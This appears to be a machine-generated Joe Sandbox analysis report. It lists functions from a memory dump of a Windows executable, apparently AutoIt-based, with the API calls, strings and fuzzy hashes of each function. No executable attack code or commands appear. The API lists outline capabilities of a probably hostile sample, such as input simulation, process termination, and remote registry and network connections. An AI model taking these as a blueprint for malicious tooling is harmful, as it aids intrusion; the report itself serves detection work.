Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction ID: 35b9c654da93d5b42dcd939a854229caa46f4663843420c93cdb20d89dc229a9
Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction Fuzzy Hash: 2E519622A58A8295EF20FF24D4402EDA364FF90B94FC40032E64D9779ADFA9F745C790

Function 00007FF7C0E5D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

0x%p, xrefs: 00007FF7C0EA9CB4
%.15g, xrefs: 00007FF7C0E5D554
False, xrefs: 00007FF7C0EA9C90
True, xrefs: 00007FF7C0EA9C97

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: 3df143d41b72c37e8d3401a32f1c040a903f4fba463ccff2488bc58be4e83188
Instruction ID: 27b4419fbef39f58ff895f3ff95f1333d4d30e7c8e84fd1e28aedd82cf436ec4
Opcode Fuzzy Hash: 3df143d41b72c37e8d3401a32f1c040a903f4fba463ccff2488bc58be4e83188
Instruction Fuzzy Hash: DF518132B8DE4685EE20FF69D0441BCA3A5EB44BA8F948531DA0D87799DF39F405C3A0

Function 00007FF7C0E51E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

BeginPaint.USER32 ref: 00007FF7C0E51E4C
GetWindowRect.USER32 ref: 00007FF7C0E51EB7
ScreenToClient.USER32 ref: 00007FF7C0E51EDE
SetViewportOrgEx.GDI32 ref: 00007FF7C0E51EF9
EndPaint.USER32 ref: 00007FF7C0E51F5A
Rectangle.GDI32 ref: 00007FF7C0E9A458

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction ID: 9394edcb7b54b09081513a098b0cb2b9e71477a849a3e9dfe009e3042029ae6e
Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction Fuzzy Hash: B8519C32A08A9286E620BF11D4447B9B760FB45FA4F844235CE6D87B91CF7CF44587A0

Function 00007FF7C0EE4C58 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF7C0EE4C71

Part of subcall function 00007FF7C0EE0374: GetWindowRect.USER32 ref: 00007FF7C0EE0389

GetDesktopWindow.USER32 ref: 00007FF7C0EE4C93
GetWindowRect.USER32 ref: 00007FF7C0EE4CA0
mouse_event.USER32 ref: 00007FF7C0EE4CE6

Part of subcall function 00007FF7C0ECD7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF7C0ECD811
Part of subcall function 00007FF7C0ECD7F8: QueryPerformanceFrequency.KERNEL32 ref: 00007FF7C0ECD820
Part of subcall function 00007FF7C0ECD7F8: Sleep.KERNEL32 ref: 00007FF7C0ECD828
Part of subcall function 00007FF7C0ECD7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF7C0ECD833

GetCursorPos.USER32(?,?), ref: 00007FF7C0EE4D1A
mouse_event.USER32 ref: 00007FF7C0EE4D87

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
String ID:
API String ID: 383626216-0
Opcode ID: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction ID: 92f9a632a6079d4ffa4d177b37ef51c45adefed1f8cf9514796f0851ec42e649
Opcode Fuzzy Hash: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction Fuzzy Hash: CB31CE73B082528BE715EF61D8807ADB3A1FB88758F900235EA1A93B84DF39F5458790

Function 00007FF7C0EBD2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EBD2AB), ref: 00007FF7C0EBD31F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EBD2AB), ref: 00007FF7C0EBD335
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EBD2AB), ref: 00007FF7C0EBD34E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EBD2AB), ref: 00007FF7C0EBD35E
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF7C0EBD3CA
DestroyEnvironmentBlock.USERENV ref: 00007FF7C0EBD3E3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction ID: 48e2d7099813f487c015ed62f78b70cf8ad5b77713645a9be6290ca0960b555c
Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction Fuzzy Hash: A3318E3260CB8586DB609F02E4847AAB3A5FB88FA4F444136DE8D43714DF7DE445CB50

Function 00007FF7C0E81E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E81E90
CreateThread.KERNEL32 ref: 00007FF7C0E81ED4
GetLastError.KERNEL32 ref: 00007FF7C0E81EE2
CloseHandle.KERNEL32 ref: 00007FF7C0E81F01
FreeLibrary.KERNEL32 ref: 00007FF7C0E81F10
ResumeThread.KERNEL32 ref: 00007FF7C0E81F33

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
String ID:
API String ID: 2082702847-0
Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction ID: 72fe8366ddec9412bfc4e51a5f3f42d8231680eb90b1d4a0d83f1310557f2466
Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction Fuzzy Hash: 3321AE21A4DB8281EE15BF68A414279E294AF44FB8F840734DE3D867D4DF3CF44487A0

Function 00007FF7C0EC2240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7C0EC226B
GetDeviceCaps.GDI32 ref: 00007FF7C0EC227C
GetDeviceCaps.GDI32 ref: 00007FF7C0EC228C
ReleaseDC.USER32 ref: 00007FF7C0EC2299
MulDiv.KERNEL32 ref: 00007FF7C0EC22AC
MulDiv.KERNEL32 ref: 00007FF7C0EC22BE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction ID: f189aab758c0a26e90efd945d2ebfb899d6a0912a98c85e190626e724fc29728
Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction Fuzzy Hash: 7A11C635B1870182EB18EF61D80812AB6A1FB88FD5F808139CF0E87B54CF7DE8458780

Function 00007FF7C0F009FC Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52370: ExtCreatePen.GDI32 ref: 00007FF7C0E523FF
Part of subcall function 00007FF7C0E52370: SelectObject.GDI32 ref: 00007FF7C0E52412
Part of subcall function 00007FF7C0E52370: BeginPath.GDI32 ref: 00007FF7C0E5242B
Part of subcall function 00007FF7C0E52370: SelectObject.GDI32 ref: 00007FF7C0E52452

MoveToEx.GDI32 ref: 00007FF7C0F00A3F
LineTo.GDI32 ref: 00007FF7C0F00A4E
MoveToEx.GDI32 ref: 00007FF7C0F00A60
LineTo.GDI32 ref: 00007FF7C0F00A6F
EndPath.GDI32 ref: 00007FF7C0F00A81
StrokePath.GDI32 ref: 00007FF7C0F00A91

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction ID: fb9540c1016414f51f394a400f5aae407c76f640c354c81962494b97b69faada
Opcode Fuzzy Hash: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction Fuzzy Hash: BA118F31B1869282E714AF15B808B69AB60FB85FA8F985531CF0643B50CFBDB495C790

Function 00007FF7C0E72D5C Relevance: 9.0, APIs: 6, Instructions: 39keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72D8E
MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72D9C
MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DAC
MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DBC
MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DCA
MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DD8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction ID: 561b499fd23b5737ba03c8e7365c94b308650960726a8b4c8bcd57938d122e7d
Opcode Fuzzy Hash: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction Fuzzy Hash: 3011306290A6408BD349DF39DC4811A7BB2FB58F08B948035C3498F365EF79949ACB50

Function 00007FF7C0ECDA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF7C0ECDA2F
SendMessageTimeoutW.USER32 ref: 00007FF7C0ECDA5C
GetWindowThreadProcessId.USER32 ref: 00007FF7C0ECDA6F
OpenProcess.KERNEL32 ref: 00007FF7C0ECDA81
TerminateProcess.KERNEL32 ref: 00007FF7C0ECDA8F
CloseHandle.KERNEL32 ref: 00007FF7C0ECDA98

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction ID: eafb9080085f651d749fbe7c83c67fb821992b7551386677ad055533ed2e858b
Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction Fuzzy Hash: A201887261D75183EB11AF11E804526B351FF89BA5F845034C90A46B14DF7CE0888B40

Function 00007FF7C0EBF378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF7C0EBF3A8
GetWindowThreadProcessId.USER32 ref: 00007FF7C0EBF3B8
GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EBF3C0
GetWindowThreadProcessId.USER32 ref: 00007FF7C0EBF3D0
GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EBF3D8
AttachThreadInput.USER32 ref: 00007FF7C0EBF3E5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction ID: 95ee46b11be43840d3055c6bc077d754bdeeeebd76a00cdadb676944ee6f66db
Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction Fuzzy Hash: FBF03121F1C76143F7516F71A84862AA292BF88B58FC45134D90E82B55DFBCE48586A0

Function 00007FF7C0EBD868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF7C0EBD877
UnloadUserProfile.USERENV ref: 00007FF7C0EBD885
CloseHandle.KERNEL32 ref: 00007FF7C0EBD88F
CloseHandle.KERNEL32 ref: 00007FF7C0EBD898
GetProcessHeap.KERNEL32 ref: 00007FF7C0EBD89E
HeapFree.KERNEL32 ref: 00007FF7C0EBD8AC

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction ID: 0f561d1e66d33887fd84ada5e3b073b956e28db5fcff6712e61ce9dfb46007ac
Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction Fuzzy Hash: C1F0C065A18A01C2EB05FF76D85802AA362FF88FB9B845131CD1E86374CFBCE4D58360

Function 00007FF7C0EE7E38 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBB748: CLSIDFromProgID.OLE32 ref: 00007FF7C0EBB771
Part of subcall function 00007FF7C0EBB748: ProgIDFromCLSID.OLE32 ref: 00007FF7C0EBB790
Part of subcall function 00007FF7C0EBB748: lstrcmpiW.KERNEL32 ref: 00007FF7C0EBB7A2
Part of subcall function 00007FF7C0EBB748: CoTaskMemFree.OLE32 ref: 00007FF7C0EBB7B4

Part of subcall function 00007FF7C0EBC034: WNetAddConnection2W.MPR ref: 00007FF7C0EBC143
Part of subcall function 00007FF7C0EBC034: RegConnectRegistryW.ADVAPI32 ref: 00007FF7C0EBC164
Part of subcall function 00007FF7C0EBC034: RegOpenKeyExW.ADVAPI32 ref: 00007FF7C0EBC193
Part of subcall function 00007FF7C0EBC034: RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EBC1CD

CoInitializeSecurity.OLE32 ref: 00007FF7C0EE7F26
CoCreateInstanceEx.OLE32 ref: 00007FF7C0EE80C6
CoTaskMemFree.OLE32 ref: 00007FF7C0EE80D2
CoSetProxyBlanket.OLE32 ref: 00007FF7C0EE812B

Strings

NULL Pointer assignment, xrefs: 00007FF7C0EE8148

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
String ID: NULL Pointer assignment
API String ID: 1653399731-2785691316
Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction ID: 80cc69458d962bcae086e799294db4e6ccab0c9ed8cf554ebbb85f083cb10b1a
Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction Fuzzy Hash: 93B19F32B08B458AE710EF65D4401ADB7B0FB847A8F940136EE4D97B98DF38E545CB90

Function 00007FF7C0EECDF0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000003,00000000,?,00007FF7C0EEBF47), ref: 00007FF7C0EECE29

Strings

winapi, xrefs: 00007FF7C0EECF88
cdecl, xrefs: 00007FF7C0EECF2F
stdcall, xrefs: 00007FF7C0EECFCB
none, xrefs: 00007FF7C0EED05A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2358735015-567219261
Opcode ID: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
Instruction ID: 28dce4f4fee95c77cee403bed3e60854ba157f0a49ff968e0bcf8cccc107fa54
Opcode Fuzzy Hash: 02b910466ee187c44740fa94090c75d71f2fbf299a4025593c27fff920242e11
Instruction Fuzzy Hash: 6D91D022B58A5A82EB24BF6584405B9A3A2BF147A0F944531DE2DD37D4DF3DF853C3A0

Function 00007FF7C0EE6920 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7C0EE695A
CharUpperBuffW.USER32 ref: 00007FF7C0EE6A77
VariantClear.OLEAUT32 ref: 00007FF7C0EE6C11

Part of subcall function 00007FF7C0ED03E8: VariantInit.OLEAUT32 ref: 00007FF7C0ED0437
Part of subcall function 00007FF7C0ED03E8: VariantCopy.OLEAUT32 ref: 00007FF7C0ED0443
Part of subcall function 00007FF7C0ED03E8: VariantClear.OLEAUT32 ref: 00007FF7C0ED0450

Strings

Incorrect Parameter format, xrefs: 00007FF7C0EE6990, 00007FF7C0EE6B81
AUTOIT.ERROR, xrefs: 00007FF7C0EE6A7D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
Instruction ID: 7dbc6f2817d8b0099b35e63a6e39592d03b36ab4d99cf0d6066cf588e79f81fd
